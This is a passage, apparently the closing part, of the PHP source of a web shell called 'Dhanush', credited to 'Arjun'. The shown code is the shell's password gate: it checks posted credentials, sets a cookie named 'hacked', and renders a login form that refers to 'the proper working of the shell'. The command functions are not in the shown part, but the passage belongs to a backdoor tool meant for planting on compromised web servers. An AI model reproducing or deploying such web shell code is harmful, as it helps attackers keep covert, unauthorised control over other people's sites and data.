6192<hr color="#1B1B1B">
6193<div align="center">
6194<font size="6" face="Times New Roman, Times, serif" color="#00CC00">धनुष<br>
6195--==Coded By Arjun==--</font><br><a href="http://www.google.com/search?q=%E0%A4%9C%E0%A4%AF%20%E0%A4%B9%E0%A4%BF%E0%A4%A8%E0%A5%8D%E0%A4%A6" target="_blank"><font color="#FF0000" size="6">जय हिन्द</font></a></div>
6196<?php
6197}
6198}
6199
6200if(isset($_POST['uname']) && isset($_POST['passwd']))
6201{
6202 if( $_POST['uname'] == $user && $_POST['passwd'] == $pass )
6203 {
6204 setcookie("hacked", md5($pass));
6205 $selfenter = $_SERVER["PHP_SELF"];
6206 header("Location:$selfenter");
6207 }
6208}
6209
6210if((!isset($_COOKIE['hacked']) || $_COOKIE['hacked']!=md5($pass)) )
6211{
6212 shellstyle();
6213?>
6214 <center>
6215 <form method="POST">
6216 <div style="background-color:#171717; width:50%; border-radius:7px; margin-top:150px; -moz-border-radius:25px; height:410px; background-image:url(Windows_7_-_Alien_from_outer_space.jpg);">
6217 <table cellpadding="9" cellspacing="4">
6218 <tr>
6219 <td align="center" colspan="2"><blink><font size="7"><b>Dhanush</b></font></blink></td>
6220 </tr>
6221 <tr>
6222 <td align="right"><b>User Name : </b></td>
6223 <td><input type="text" name="uname" style="background-color:#333333; border-radius:7px; -moz-border-radius:10px; border-color:#000000; width:170px; color:#666666;" value="User Name" onFocus="if (this.value == 'User Name'){this.value=''; this.style.color='black';}" onBlur="if (this.value == '') {this.value='User Name'; this.style.color='#828282';}" AUTOCOMPLETE="OFF"></td>
6224 </tr>
6225 <tr>
6226 <td align="right"><b>Password : </b></td>
6227 <td><input type="password" name="passwd" style="background-color:#333333; border-radius:7px; -moz-border-radius:10px; border-color:#000000; width:170px; color:#666666;" value="User Name" onFocus="if (this.value == 'User Name'){this.value=''; this.style.color='black';}" onBlur="if (this.value == '') {this.value='User Name'; this.style.color='#828282';}" AUTOCOMPLETE="OFF"></td>
6228 </tr>
6229 <tr>
6230 <td align="center" colspan="2"><input type="submit" class="but" value=" Enter "></td>
6231 </tr>
6232 <tr>
6233 <td align="center" colspan="2"><font size="6" face="Times New Roman, Times, serif"><b>--==Coded By Arjun==--</b></font></td>
6234 </tr>
6235 <tr>
6236 <td colspan="2"><font size="4" face="Times New Roman, Times, serif"><noscript>Enable Javascript in your browser for the proper working of the shell</noscript></font></td>
6237 </tr>
6238 </table>
6239 </div>
6240
6241 </form>
6242 </center>
6243<br>
6244</body>
6245</html>
6246<?php
6247}
6248?>